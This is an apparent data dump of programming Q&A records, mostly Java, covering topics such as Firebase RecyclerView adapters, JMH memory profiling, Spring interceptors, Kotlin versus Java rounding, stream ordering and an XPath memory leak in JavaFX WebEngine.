( 3 ) as well below that first entry . This has already been calculated and handled in my songCounts HashMap . Thanks ! EDIT Added dj_name_item.xml EDIT : added how the data is being inserted","`` DjSunGazer '' : { `` song '' : { `` -LmHrkYkU1qD2GND9wY2 '' : `` Blaya - Cash '' , `` -LmHrlalIVUStU6nqBJI '' : `` Blaya - Cash '' , `` -LmHrmRRXy4UYoF7DNZz '' : `` Taylor Swift - You Need to Calm Down '' } } , query = mProfileDatabase.child ( djName ) ; FirebaseRecyclerOptions < DataSnapshot > firebaseRecyclerOptions = new FirebaseRecyclerOptions.Builder < DataSnapshot > ( ) .setQuery ( query , new SnapshotParser < DataSnapshot > ( ) { @ NonNull @ Override public DataSnapshot parseSnapshot ( @ NonNull DataSnapshot snapshot ) { return snapshot ; } } ) .build ( ) ; final HashMap < String , Integer > songCounts = new HashMap < String , Integer > ( ) ; firebaseRecyclerAdapter = new FirebaseRecyclerAdapter < DataSnapshot , ResultsViewHolder > ( firebaseRecyclerOptions ) { @ Override protected void onBindViewHolder ( @ NonNull ResultsViewHolder holder , int position , @ NonNull DataSnapshot model ) { List < String > sArr = new ArrayList < String > ( ) ; for ( DataSnapshot snapshot : model.getChildren ( ) ) { sArr.add ( snapshot.getValue ( String.class ) ) ; } for ( int i = 0 ; i < sArr.size ( ) ; i++ ) { String eachSong = sArr.get ( i ) ; if ( songCounts.containsKey ( eachSong ) ) { int count = songCounts.get ( eachSong ) ; songCounts.put ( eachSong , count + 1 ) ; } else { songCounts.put ( eachSong , 1 ) ; } } Collection < String > name = songCounts.keySet ( ) ; Collection < Integer > ctn = songCounts.values ( ) ; for ( String s2 : name ) { Log.d ( `` INFO '' , s2 ) ; DisplaySong ds = new DisplaySong ( s2 ) ; ds.setSong ( s2 ) ; holder.setDJNameView ( ds ) ; } for ( Integer i : ctn ) { holder.setBadgeCount ( i ) ; } } @ NonNull @ Override public ResultsViewHolder onCreateViewHolder ( @ NonNull ViewGroup viewGroup , int i ) { View view = LayoutInflater.from ( viewGroup.getContext ( ) ) .inflate ( R.layout.djname_item , viewGroup , false ) ; return new ResultsViewHolder ( view ) ; } } ; firebaseRecyclerAdapter.startListening ( ) ; recyclerView.setAdapter ( firebaseRecyclerAdapter ) ; songCounts.clear ( ) ; < RelativeLayout android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : orientation= '' vertical '' android : padding= '' 8dp '' > < TextView android : id= '' @ +id/song_result_dj '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_centerVertical= '' true '' android : layout_marginLeft= '' 30dp '' android : layout_marginRight= '' 30dp '' / > < TextView android : id= '' @ +id/song_badge '' android : layout_width= '' 20dp '' android : layout_height= '' 20dp '' android : layout_gravity= '' right|end|top '' android : layout_marginTop= '' 3dp '' android : layout_marginEnd= '' -5dp '' android : layout_marginRight= '' 15dp '' android : background= '' @ drawable/badge_background '' android : gravity= '' center '' android : padding= '' 3dp '' android : paddingRight= '' 15dp '' android : text= '' 0 '' android : textColor= '' @ android : color/white '' android : textSize= '' 10sp '' / > < /RelativeLayout > FirebaseDatabase.getInstance ( ) .getReference ( ) .child ( djName ) .child ( `` song '' ) .push ( ) .setValue ( songName ) ;",Firebase RecyclerView Displays One Item +Java,I 'm trying to measure the memory consumed when running the benchmark . I found out on the internet that I can use GC profiler to measure that . I tried but I do n't understand the answer as well as see the amount of consumed memory . Can anyone explain the results ? Thanks .,MyBenchmark.testMethod_width_2_attribute_text ss 60 32.345 ± 1.759 ms/opMyBenchmark.testMethod_width_2_attribute_text : ·gc.alloc.rate ss 60 26.904 ± 0.217 MB/secMyBenchmark.testMethod_width_2_attribute_text : ·gc.alloc.rate.norm ss 60 14999630.400 ± 12.578 B/opMyBenchmark.testMethod_width_2_attribute_text : ·gc.churn.PS_Eden_Space ss 60 28.282 ± 15.342 MB/secMyBenchmark.testMethod_width_2_attribute_text : ·gc.churn.PS_Eden_Space.norm ss 60 15903402.667 ± 8631257.013 B/opMyBenchmark.testMethod_width_2_attribute_text : ·gc.churn.PS_Survivor_Space ss 60 0.654 ± 0.754 MB/secMyBenchmark.testMethod_width_2_attribute_text : ·gc.churn.PS_Survivor_Space.norm ss 60 368914.667 ± 425374.152 B/opMyBenchmark.testMethod_width_2_attribute_text : ·gc.count ss 60 26.000 countsMyBenchmark.testMethod_width_2_attribute_text : ·gc.time ss 60 105.000 ms,What does allocation rate means in JMH +Java,"Suppose I have the following two classes to start off with : Now I have discovered that I need access to the other players ( thus to the Game object ) in my Player class.One way to do it is the following , add this to the Player class : However now it breaks immutability of the game object , are there ways to preserve immutabiity of mutually created objects ? Or do I need to resort to manually imposed mutability and safety ( from a regular client perspective , not from a multithreaded synchronization perspective ) ? Such as throwing an exception whenever someone attempts multiple setGame.To summarize , this is the mutual dependency I am trying to solve : versusDoes there exist a Pattern such as for example the Builder Pattern which aids against an explosion of constructor arguments , which could be solved in a way that breaks immutability if one wanted to avoid the exposion without using the Builder Pattern ?","public class Game { private final Player self ; private final Player opponent ; public Game ( final Player self , final Player opponent ) { this.self = Objects.requireNonNull ( self ) ; this.opponent = Objects.requireNonNull ( opponent ) ; } } public class Player { private final String name ; public Player ( final String name ) { this.name = Objects.requireNonNull ( name ) ; } } private Game game ; public void setGame ( final Game game ) { this.game = Objects.requireNonNull ( game ) ; } Player playerSelf = new Player ( /* non-existing game */ , `` Self '' ) ; Player playerOpponent = new Player ( /* non-existing game */ , `` Opponent '' ) ; Game game = new Game ( playerSelf , playerOpponent ) ; Game game = new Game ( /* non-existing player */ , /* non-existing player */ ) ; Player playerSelf = new Player ( game , `` Self '' ) ; Player playerOpponent = new Player ( game , `` Opponent '' ) ;",How to create mutually dependent objects safely ? +Java,"I am trying to solve this question : `` Arrange elements in a given Linked List such that , all even numbers are placed after odd numbers . Respective order of elements should remain same . `` This is the code I am using : This is the main logic : Basically I have tweaked MergeSort algorithm a little bit to solve this one , if I encounter odd elements , I add them first in the sortOddEvenMerger method and even elements after them . But the relative order of elements get changed . Example : Input - 1 4 5 2 Expected output - 1 5 4 2 My output - 1 5 2 4How can I tweak it more to maintain the relative order ?","class Node < T > { T data ; Node < T > next ; Node ( T data ) { this.data = data ; } } static Node < Integer > sortOddEven ( Node < Integer > head ) { if ( head == null || head.next == null ) { return head ; } Node < Integer > middle = getMiddle ( head ) ; Node < Integer > nextOfMiddle = middle.next ; middle.next = null ; Node < Integer > temp1 = sortOddEven ( head ) ; Node < Integer > temp2 = sortOddEven ( nextOfMiddle ) ; Node < Integer > sortedList = sortOddEvenMerger ( temp1 , temp2 ) ; return sortedList ; } static Node < Integer > sortOddEvenMerger ( Node < Integer > head1 , Node < Integer > head2 ) { Node < Integer > head3 = null , tail3 = null ; if ( head1.data.intValue ( ) % 2 ! = 0 ) { head3 = head1 ; tail3 = head1 ; head1 = head1.next ; } else { head3 = head2 ; tail3 = head2 ; head2 = head2.next ; } while ( head1 ! = null || head2 ! = null ) { if ( head1 == null ) { tail3.next = head2 ; return head3 ; } else if ( head2 == null ) { tail3.next = head1 ; return head3 ; } if ( head1.data.intValue ( ) % 2 ! = 0 ) { tail3.next = head1 ; tail3 = tail3.next ; head1 = head1.next ; } else { tail3.next = head2 ; tail3 = tail3.next ; head2 = head2.next ; } } tail3.next = null ; return head3 ; }",Sorting LinkedList with even after odd elements +Java,"This might get downvoted , but this question has been bothering me since yesterday.. until I found a link then I knew I was n't really crazy lol : Enum as instance variablesI 'm basically asking the opposite of the OP 's question . Given : Although this is Java and enums do differ somewhat in both languages how is it that I ca n't do coffee.BIG or coffee.BIG.SMALL ( though it makes little sense when reading it , it should be possible considering coffee is of type Coffee ) in C # ?","enum Coffee { BIG , SMALL } public class MyClass { private Coffee coffee ; // Constructor etc . }",Why ca n't we access enum values from an enum instance in C # ? +Java,"All requests and responses handled by our Spring Rest Controller has a Common section which has certain values : Currently all my controller functions are reading the common and copying it into the response manually . I would like to move it into an interceptor of some sort . I tried to do this using ControllerAdvice and ThreadLocal : This works when I test sending one request at a time . But , is it guaranteed that afterBodyRead and beforeBodyWrite is called in the same thread , when multiple requests are coming ? If not , or even otherwise , what is the best way of doing this ?","{ `` common '' : { `` requestId '' : `` foo-bar-123 '' , `` otherKey1 '' : `` value1 '' , `` otherKey2 '' : `` value2 '' , `` otherKey3 '' : `` value3 '' } , ... } @ ControllerAdvicepublic class RequestResponseAdvice extends RequestBodyAdviceAdapter implements ResponseBodyAdvice < MyGenericPojo > { private ThreadLocal < Common > commonThreadLocal = new ThreadLocal < > ( ) ; /* Request */ @ Override public boolean supports ( MethodParameter methodParameter , Type type , Class < ? extends HttpMessageConverter < ? > > aClass ) { return MyGenericPojo.class.isAssignableFrom ( methodParameter.getParameterType ( ) ) ; } @ Override public Object afterBodyRead ( Object body , HttpInputMessage inputMessage , MethodParameter parameter , Type targetType , Class < ? extends HttpMessageConverter < ? > > converterType ) { var common = ( MyGenericPojo ) body.getCommon ( ) ; if ( common.getRequestId ( ) == null ) { common.setRequestId ( generateNewRequestId ( ) ) ; } commonThreadLocal ( common ) ; return body ; } /* Response */ @ Override public boolean supports ( MethodParameter returnType , Class < ? extends HttpMessageConverter < ? > > converterType ) { return MyGenericPojo.class.isAssignableFrom ( returnType.getParameterType ( ) ) ; } @ Override public MyGenericPojo beforeBodyWrite ( MyGenericPojo body , MethodParameter returnType , MediaType selectedContentType , Class < ? extends HttpMessageConverter < ? > > selectedConverterType , ServerHttpRequest request , ServerHttpResponse response ) { body.setCommon ( commonThreadLocal.get ( ) ) ; commonThreadLocal.remove ( ) ; return body ; } }",SpringBoot : Interceptor to read particular field from request and set it in the response +Java,"I was learning Kotlin and ran into this issue in Math class : The java.lang.Math and kotlin.math are not compatible . This is for me a little bit awkward and confusing since Kotlin claims that it is 100 % compatible with Java . Maybe this is only me who is feeling it is confusing , but I would like to hear community opinion to confirm if my feeling is correct.The issue is the rounding of a number . Please observe the following simple Kotlin code : Output : I see that Java Math is rounding up to long value and Kotlin in contrast rounding down to kotlin.Double value . The implementation of Math classes in two different languages are different and would n't this cause confusion since they both target JVM ? Thanks",fun main ( args : Array < String > ) { val neg = -152.5val kotlinAbsoluteValue = kotlin.math.abs ( neg ) val javaAbsoluteValue = java.lang.Math.abs ( neg ) println ( `` Original Variable : $ neg '' ) println ( `` Absolute Value in Java : $ javaAbsoluteValue '' ) println ( `` Absolute Value in Kotlin : $ kotlinAbsoluteValue '' ) println ( `` Rounding kotlinAbsoluteValue in Java : $ { java.lang.Math.round ( kotlinAbsoluteValue ) } '' ) println ( `` Rounding kotlinAbsoluteValue in Kotlin : $ { kotlin.math.round ( kotlinAbsoluteValue ) } '' ) println ( `` Rounding javaAbsoluteValue in Java : $ { java.lang.Math.round ( javaAbsoluteValue ) } '' ) println ( `` Rounding javaAbsoluteValue in Kotlin $ { kotlin.math.round ( javaAbsoluteValue ) } '' ) } Original Variable : -152.5Absolute Value in Java : 152.5Absolute Value in Kotlin : 152.5Rounding kotlinAbsoluteValue in Java : 153Rounding kotlinAbsoluteValue in Kotlin : 152.0Rounding javaAbsoluteValue in Java : 153Rounding javaAbsoluteValue in Kotlin 152.0,Is java.lang.Math compatible with kotlin.math ? +Java,"I 'm reading Java 8 book by Richard Warburton and came up with this : Some operation are more expensive on ordered stream . This problem can be solved by eliminating ordering . To do so , call the stream 's unordered method . [ ... ] I was quite perplexed by that . Suppose we have Stream < Integer > stream = Arrays.asList ( 1 , 2 , 3 , 4 ) .stream ( ) ; Since List < Integer > defines an encounter order for the stream ( some ) operation might be performed inefficiently . Why is that ? How does it affect the processing and what makes it slow ? In order to make things faster , in that case , should we be calling this as ? Sounds strange , to say the least ...","Stream < Integer > stream = Arrays.asList ( 1 , 2 , 3 , 4 ) .stream ( ) .unordered ( ) ;",Why is an unordered stream faster than an ordered one ? +Java,"XQuery , shared with XSLT and XPath 2.0 and later , supports various number data types , two of them are xs : double and xs : decimal . It is possible to cast an xs : double to an xs : decimal , as defined in http : //www.w3.org/TR/xquery-operators/ # casting-to-numerics . Implementations done in Java seem to implement xs : double using the Java double data type and xs : decimal using the java.math.BigDecimal class . That class supports two ways of converting a double into a BigDecimal , namely doing BigDecimal.valueOf ( doubleValue ) and new BigDecimal ( doubleValue ) . According to https : //stackoverflow.com/a/7186298/252228 , the former gives the more intuitive result while the latter gives the more correct result , as for instance BigDecimal.valueOf ( 1.1 ) results in 1.1 while new BigDecimal ( 1.1 ) results in 1.100000000000000088817841970012523233890533447265625.When I try the cast of an xs : double to an xs : decimal with Saxon and Exist then outputs 1.100000000000000088817841970012523233890533447265625 while with BaseX it outputs 1.1 . I suppose the difference results from the different implementations , BaseX doing BigDecimal.valueOf ( 1.1 ) , Saxon and Exist doing new BigDecimal ( 1.1 ) .My question is : which approach is the right one to implement the cast operation according to the http : //www.w3.org/TR/xquery-operators/ # casting-to-numerics ?",xquery version `` 1.0 '' ; let $ d1 as xs : double : = 1.1E0return xs : decimal ( $ d1 ),Should cast of xs : double to xs : decimal be implemented as BigDecimal.valueOf ( double ) or new BigDecimal ( double ) ? +Java,"I have a situation that 's been torturing me for months : I keep getting OOM exceptions ( Heap Space ) and on inspecting heap dumps I 've found millions of instances of objects I never allocated but that were likely allocated in underlying libraries . After much blood , sweat and tears I have managed to localize the code generating the memory leak and I have composed a minimal , complete and verifiable code sample to illustrate this : The code does the following : load a document using the JavaFX WebEngine.endlessly perform an xpath query on the document using the javax.xml packages , without storing the result or pointers to it.To run , create a JavaFX application , add a file named MVC.java in the default package , enter the code and hit run . Any profiling tool ( I use VisualVM ) should quickly show you that in a matter of minutes , the heap grows uncontrollably . The following objects seem to be allocated but never released : java.util.HashMap $ Nodecom.sun.webkit.Disposer $ WeakDisposerRecordcom.sun.webkit.dom.NamedNodeMapImpl $ SelfDisposerjava.util.concurrent.LinkedBlockingQueue $ NodeThis behavior happens every time I run the code , regardless of the url I load or the xpath I execute on the document.Setup with which I tested : MBP running OS X Yosemite ( up-to-date ) JDK 1.8.0_60Can anyone reproduce this issue ? Is it an actual memory leak ? Is there anything I can do ? editA colleague of mine reproduced the problem on a w7 machine with JDK 1.8.0_45 , and it happens on an Ubuntu server as well.edit 2I 've tested jaxen as an alternative to the javax.xml package , but the results are the same , which leads me to believe the bug lies deep within the sun webkit","import java.util.logging.Level ; import java.util.logging.Logger ; import javafx.application.Application ; import javafx.beans.value.ChangeListener ; import javafx.beans.value.ObservableValue ; import javafx.concurrent.Worker ; import javafx.scene.web.WebEngine ; import javafx.stage.Stage ; import javax.xml.xpath.XPath ; import javax.xml.xpath.XPathConstants ; import javax.xml.xpath.XPathExpressionException ; import javax.xml.xpath.XPathFactory ; import org.w3c.dom.Node ; import org.w3c.dom.NodeList ; public class MVC extends Application implements ChangeListener < Worker.State > { private final WebEngine engine = new WebEngine ( ) ; private final String url = `` https : //biblio.ugent.be/publication ? sort=publicationstatus.desc & sort=year.desc & limit=250 & start=197000 '' ; private final XPath x = XPathFactory.newInstance ( ) .newXPath ( ) ; @ Override public void start ( Stage primaryStage ) throws Exception { System.setProperty ( `` jsse.enableSNIExtension '' , `` false '' ) ; engine.getLoadWorker ( ) .stateProperty ( ) .addListener ( this ) ; engine.load ( url ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } private NodeList eval ( Node context , String xpath ) throws XPathExpressionException { return ( NodeList ) x.evaluate ( xpath , context , XPathConstants.NODESET ) ; } @ Override public void changed ( ObservableValue < ? extends Worker.State > observable , Worker.State oldValue , Worker.State newValue ) { if ( newValue==Worker.State.SUCCEEDED ) { try { while ( true ) { NodeList eval = eval ( engine.getDocument ( ) , `` //span [ @ class='title ' ] '' ) ; int s = eval.getLength ( ) ; } } catch ( XPathExpressionException ex ) { Logger.getLogger ( MVC.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } } } }",Java xpath memory leak ? +Java,"I am coding both a library and service consuming this library . I want to have a UsernameProvider service , which takes care of extracting the username of the logged in user . I consume the service in the library itself : I want to have a default implementation of the UsernameProvider interface that extracts the username from the subject claim of a JWT . However , in the service that depends on the library I want to use Basic authentication , therefore I 'd create a BasicAuthUsernameProvider that overrides getUsername ( ) . I naturally get an error when there are multiple autowire candidates of the same type ( DefaultUsernameProvider in the library , and BasicAuthUsernameProvider in the service ) , so I 'd have to mark the bean in the service as @ Primary . But I do n't want to have the library clients specify a primary bean , but instead mark a default.Adding @ Order ( value = Ordered.LOWEST_PRECEDENCE ) on the DefaultUsernameProvider did n't work.Adding @ ConditionalOnMissingBean in a Configuration class in the library did n't work either.EDIT : Turns out , adding @ Component on the UsernameProvider implementation classes renders @ ConditionalOnMissingBean useless , as Spring Boot tries to autowire every class annotated as a Component , therefore throwing the `` Multiple beans of type found '' exception .",class AuditService { @ Autowired UsernameProvider usernameProvider ; void logChange ( ) { String username = usernameProvider.getUsername ( ) ; ... } },How to specify a default bean for autowiring in Spring ? +Java,"I have a RecyclerView that contains a list of cards , each of which expand into child cards.Each card has different text . I want that when the user clicks on a child card , it will expand to show the text inside . The expansion height is based on how much text the card contains . I tried to measure the target height by using : And then expanding the card to the Measured Height ( see here ) .However , it gives the same Measured Height to all of the cards . Here is my code , which is based on this ( more specifically the Xamarin version ) : This is the main Adapter , which creates and binds the parent and the child cards : I think this is where the code is needed to be done , but if you need some of the other code of the other classes , I will gladly post them . You can also look at the links above for reference to how this works.Hope someone can help me.Thanks !","view.Measure ( ViewGroup.LayoutParams.WrapContent , ViewGroup.LayoutParams.WrapContent ) ; public class HalachaExpandableAdapter : ExpandableRecyclerAdapter < HalachaParentViewHolder , HalachaChildViewHolder > , View.IOnClickListener { LayoutInflater _inflater ; bool expand ; int targetHeight ; bool wave = false ; public HalachaExpandableAdapter ( Context context , List < IParentObject > itemList ) : base ( context , itemList ) { _inflater = LayoutInflater.From ( context ) ; } public override void OnBindChildViewHolder ( HalachaChildViewHolder childViewHolder , int position , object childObject ) { var halachaChild = ( HalachaChild ) childObject ; childViewHolder.halachaChildTitle.Text = halachaChild.Title.ToString ( ) ; targetHeight = childViewHolder.halachaChildCard.Height ; childViewHolder.halachaChildCard.LayoutParameters.Height = 100 ; childViewHolder.halachaChildCard.SetOnClickListener ( this ) ; expand = childViewHolder.expand ; } public override void OnBindParentViewHolder ( HalachaParentViewHolder parentViewHolder , int position , object parentObject ) { var halacha = ( HalachaItem ) parentObject ; parentViewHolder._halachaTitleTextView.Text = halacha.Title ( ) ; parentViewHolder._halachaContentTextView.Text = halacha.Content ; if ( halacha.ChildObjectList.Count == 1 ) wave = true ; } public void OnClick ( View v ) { if ( v.Height == 100 ) { AnimationCollapse anim = new AnimationCollapse ( v , targetHeight , 100 ) ; anim.Duration = 300 ; v.StartAnimation ( anim ) ; expand = false ; } else { AnimationCollapse anim = new AnimationCollapse ( v , 100 , v.Height ) ; anim.Duration = 300 ; v.StartAnimation ( anim ) ; expand = true ; } } public override HalachaChildViewHolder OnCreateChildViewHolder ( ViewGroup childViewGroup ) { var view = _inflater.Inflate ( Resource.Layout.halachotListItem , childViewGroup , false ) ; return new HalachaChildViewHolder ( view ) ; } public override HalachaParentViewHolder OnCreateParentViewHolder ( ViewGroup parentViewGroup ) { var view = _inflater.Inflate ( Resource.Layout.halachotListHeader , parentViewGroup , false ) ; wave = false ; return new HalachaParentViewHolder ( view ) ; } }",Android Expandable RecyclerView different Card height +Java,Lets say that Class B extends class A and class A is Cloneable as follows : Why it is legal to perform down-cast from A to B in the next line : while the next down-cast is run-time error ? Thanks in advance !,public class A implements Cloneable { public Object clone ( ) throws CloneNotSupportedException { A ac = ( A ) super.clone ( ) ; return ac ; } } public class B extends A { public Object clone ( ) throws CloneNotSupportedException { B a = ( B ) super.clone ( ) ; return a ; } } B a = ( B ) super.clone ( ) ; // ( super of B is A ) A a = new A ( ) ; B b = ( B ) a.clone ( ) ;,Java - downcast in clone +Java,"I can not parse strings that contain dates , that include the short version of the month May in Greek ( Μαϊ , which is in short for Μαΐου - note on the ϊ-ΐ difference ) .For example : wo n't parse , if I use the following formats : through the following code : EDIT : The values I am trying to parse are strings stored in sqlite3 database in Android . In particular it 's Contact Birthdays . Although Android dependant , I 'll share the code for any insight :","25 Μαϊ 198924 Μαΐ 1967 `` d MMM yyyy '' '' dd MMM yyyy '' String dateString = `` 24 Μαΐ 1967 '' ; // just an example of an input StringSimpleDateFormat format = new SimpleDateFormat ( someFormat ) ; format.parse ( dateString ) ; Cursor cur = context.getContentResolver ( ) .query ( ContactsContract.Data.CONTENT_URI , null , null , null , null ) ; while ( cur.moveToNext ( ) ) { String birthdayString = cur.getString ( INDEX_OF_BIRTHDAY ) ; }",How to parse a date string including Μαϊ ( greek May ) in Java +Java,"In MVC ( such as JSP and Spring ) , is it bad practice to view related code in the controller ? In my case , the controller does some work and then hands off the results to the view ( JSP ) . In the case of a status message , I can pass the entire message text to the view , or pass a key and let the JSP map it to the message text.Example : Message generated in controllerSpring Controller : JSP : Message generated in viewSpring Controller : JSP : In the first case , the controller and JSP code is simpler , but there 's view related logic in the controller.In the second case , all view logic is in the JSP , but the code is n't as simple.Am I violating MVC paradigm by generating message text in the controller ? What is the common practice for this scenario ?","protected ModelAndView onSubmit ( ... ) { Map map = new HashMap ( ) ; // Controller processing if ( ... ) map.put ( `` status '' , `` Case 1 status message '' ) ; else map.put ( `` status '' , `` Case 2 status message '' ) ; return new ModelAndView ( `` viewPage '' , map ) ; } { $ status } protected ModelAndView onSubmit ( ... ) { Map map = new HashMap ( ) ; // Controller processing if ( ... ) map.put ( `` status '' , `` case1 '' ) ; else map.put ( `` status '' , `` case2 '' ) ; return new ModelAndView ( `` viewPage '' , map ) ; } < c : choose > < c : when test= '' { $ status eq 'case1 ' } '' > Case 1 status message < /c : when > < c : when test= '' { $ status eq 'case2 ' } '' > Case 2 status message < /c : when > < /c : choose >",Is it bad practice to put view code in the controller ? +Java,For example : Is the InputStream that is passed to the instructor immediately closed after the Test object is created ? Or is it closed when the Test object is destroyed ? I do n't know how to implement something similar to a destructor in C++ .,/** * Constructor */public Test ( InputStream in ) { try { this.inputStream = in ; } finally { inputStream.close ( ) ; } },In Java when is the final block in a constructor executed ? +Java,I want to translate the following piece of code from Java to Scala : Class Foo is an abstract class.How does the equivalent code look like in Scala ?,Foo foo = new Foo ( ) { private static final long serialVersionUID = 12345L ; },How to add @ SerialVersionUID to an anonymous class ? +Java,"The main method tries to access var , but results in ambiguous call . Why ? Instance variable var in Base1 is n't accessible ( visible ? ) from static context anyway .",class Base1 { int var ; } interface Base2 { public static final int var = 0 ; } class Test extends Base1 implements Base2 { public static void main ( String args [ ] ) { System.out.println ( `` var : '' + var ) ; } },Ambiguous call from static context in Java +Java,In the following examples : The compiler complains that that int [ ] and java.lang.Integer are not compatible . i.e . It works fine if i change the List definition to remove the generic types . Should n't the compiler have auto-boxed the ints to Integer ? How can i create a List < Integer > object from an array of ints usingArrays.asList ( ) ? Thanks,"class ZiggyTest2 { public static void main ( String [ ] args ) { int [ ] a = { 1 , 2 , 3 , 4,7 } ; List < Integer > li2 = new ArrayList < Integer > ( ) ; li2 = Arrays.asList ( a ) ; } } found : java.util.List < int [ ] > required : java.util.List < java.lang.Integer > li2 = Arrays.asList ( a ) ; ^ List li2 = new ArrayList ( ) ;",Boxing with Arrays.asList ( ) +Java,"I have hundreds of large ( 6GB ) gziped log files that I 'm reading using GZIPInputStreams that I wish to parse . Suppose each one has the format : I 'm streaming the gziped file contents line by line through BufferedReader.lines ( ) . The stream looks like : The start of every log entry can by identified by the predicate : line - > line.startsWith ( `` Start of log entry '' ) . I would like to transform this Stream < String > into a Stream < Stream < String > > according to this predicate . Each `` substream '' should start when the predicate is true , and collect lines while the predicate is false , until the next time the predicate true , which denotes the end of this substream and the start of the next . The result would look like : From there , I can take each substream and map it through new LogEntry ( Stream < String > logLines ) so as to aggregate related log lines into LogEntry objects.Here 's a rough idea of how that would look : Constraint : I have hundreds of these large files to process , in parallel ( but only a single sequential stream per file ) , which makes loading them them entirely into memory ( e.g . by storing them as a List < String > lines ) is not feasible.Any help appreciated !","Start of log entry 1 ... some log details ... some log details ... some log detailsStart of log entry 2 ... some log details ... some log details ... some log detailsStart of log entry 3 ... some log details ... some log details ... some log details [ `` Start of log entry 1 '' , `` ... some log details '' , `` ... some log details '' , `` ... some log details '' , `` Start of log entry 2 '' , `` ... some log details '' , `` ... some log details '' , `` ... some log details '' , `` Start of log entry 2 '' , `` ... some log details '' , `` ... some log details '' , `` ... some log details '' , ] [ [ `` Start of log entry 1 '' , `` ... some log details '' , `` ... some log details '' , `` ... some log details '' , ] , [ `` Start of log entry 2 '' , `` ... some log details '' , `` ... some log details '' , `` ... some log details '' , ] , [ `` Start of log entry 3 '' , `` ... some log details '' , `` ... some log details '' , `` ... some log details '' , ] , ] import java.io . * ; import java.nio.charset . * ; import java.util . * ; import java.util.function . * ; import java.util.stream . * ; import static java.lang.System.out ; class Untitled { static final String input = `` Start of log entry 1\n '' + `` ... some log details\n '' + `` ... some log details\n '' + `` ... some log details\n '' + `` Start of log entry 2\n '' + `` ... some log details\n '' + `` ... some log details\n '' + `` ... some log details\n '' + `` Start of log entry 3\n '' + `` ... some log details\n '' + `` ... some log details\n '' + `` ... some log details '' ; static final Predicate < String > isLogEntryStart = line - > line.startsWith ( `` Start of log entry '' ) ; public static void main ( String [ ] args ) throws Exception { try ( ByteArrayInputStream gzipInputStream = new ByteArrayInputStream ( input.getBytes ( StandardCharsets.UTF_8 ) ) ; // mock for fileInputStream based gzipInputStream InputStreamReader inputStreamReader = new InputStreamReader ( gzipInputStream ) ; BufferedReader reader = new BufferedReader ( inputStreamReader ) ) { reader.lines ( ) .splitByPredicate ( isLogEntryStart ) // < -- - What witchcraft should go here ? .map ( LogEntry : :new ) .forEach ( out : :println ) ; } } }",Java split stream by predicate into stream of streams +Java,"I know that HashMap does not guarantee the order . Consider the following code : In each run , the order of HashMap is different ( as expected ) . For example : Output # 1 : Output # 2 : But the strange thing is that if I replace the lineswith ( not using multithreading ) the output is always the same : I do n't understand the relationship between HashMap 's order and Thread . Can someone please explain to me why is this happening ?","import java.util.HashMap ; import java.util.Map ; public class SandBox { protected static class Book { String name ; public Book ( String name ) { this.name = name ; } @ Override public String toString ( ) { return name ; } } protected static class MyThread extends Thread { @ Override public void run ( ) { super.run ( ) ; final int n = 10 ; Book [ ] books = new Book [ n ] ; for ( int i=0 ; i < n ; i++ ) books [ i ] = new Book ( `` b '' + i ) ; for ( Book b : books ) System.out.print ( b + `` , `` ) ; System.out.println ( ) ; HashMap < Book , Object > hm = new HashMap < > ( ) ; for ( Book b : books ) hm.put ( b , null ) ; for ( Map.Entry < Book , Object > entry : hm.entrySet ( ) ) System.out.print ( entry.getKey ( ) + `` , `` ) ; System.out.println ( ) ; } } public static void main ( String [ ] args ) throws InterruptedException { MyThread t = new MyThread ( ) ; t.start ( ) ; t.join ( ) ; } } b0 , b1 , b2 , b3 , b4 , b5 , b6 , b7 , b8 , b9 , b3 , b4 , b7 , b9 , b0 , b8 , b1 , b2 , b6 , b5 , b0 , b1 , b2 , b3 , b4 , b5 , b6 , b7 , b8 , b9 , b9 , b4 , b3 , b7 , b8 , b0 , b1 , b5 , b6 , b2 , t.start ( ) ; t.join ( ) ; t.run ( ) ; b0 , b1 , b2 , b3 , b4 , b5 , b6 , b7 , b8 , b9 , b0 , b3 , b7 , b4 , b2 , b6 , b9 , b1 , b5 , b8 ,",HashMap order changes when using Thread but is constant without Thread +Java,"Effective Java , along with other sources suggest that we should consider using composition over inheritance . I have often found my self achieving such composition by using the Decorator pattern and implementing forwarding methods that delegate invocations to a wrapped object.However , I often find myself writing many simple forwarding methods of the type : Is there anyway of auto-generating these forwarding methods within Eclipse ( 3.4.x ) ?",public void myMethod ( String name ) { instance.myMethod ( name ) ; },Code generation for composition using Eclipse +Java,"I 'm trying to come up with an algorithm for the following problem : I 've got a collection of triplets of integers - let 's call these integers A , B , C. The value stored inside can be big , so generally it 's impossible to create an array of size A , B , or C. The goal is to minimize the size of the collection . To do this , we 're provided a simple rule that allows us to merge the triplets : For two triplets ( A , B , C ) and ( A ' , B ' , C ' ) , remove the original triplets and place the triplet ( A | A ' , B , C ) if B == B ' and C = C ' , where | is bitwise OR . Similar rules hold for B and C also.In other words , if two values of two triplets are equal , remove these two triplets , bitwise OR the third values and place the result to the collection.The greedy approach is usually misleading in similar cases and so it is for this problem , but I ca n't find a simple counterexample that 'd lead to a correct solution . For a list with 250 items where the correct solution is 14 , the average size computed by greedy merging is about 30 ( varies from 20 to 70 ) . The sub-optimal overhead gets bigger as the list size increases.I 've also tried playing around with set bit counts , but I 've found no meaningful results . Just the obvious fact that if the records are unique ( which is safe to assume ) , the set bit count always increases . Here 's the stupid greedy implementation ( it 's just a conceptual thing , please do n't regard the code style ) : Do you have any idea how to solve this problem ?","public class Record { long A ; long B ; long C ; public static void main ( String [ ] args ) { List < Record > data = new ArrayList < > ( ) ; // Fill it with some data boolean found ; do { found = false ; outer : for ( int i = 0 ; i < data.size ( ) ; ++i ) { for ( int j = i+1 ; j < data.size ( ) ; ++j ) { try { Record r = merge ( data.get ( i ) , data.get ( j ) ) ; found = true ; data.remove ( j ) ; data.remove ( i ) ; data.add ( r ) ; break outer ; } catch ( IllegalArgumentException ignored ) { } } } } while ( found ) ; } public static Record merge ( Record r1 , Record r2 ) { if ( r1.A == r2.A & & r1.B == r2.B ) { Record r = new Record ( ) ; r.A = r1.A ; r.B = r1.B ; r.C = r1.C | r2.C ; return r ; } if ( r1.A == r2.A & & r1.C == r2.C ) { Record r = new Record ( ) ; r.A = r1.A ; r.B = r1.B | r2.B ; r.C = r1.C ; return r ; } if ( r1.B == r2.B & & r1.C == r2.C ) { Record r = new Record ( ) ; r.A = r1.A | r2.A ; r.B = r1.B ; 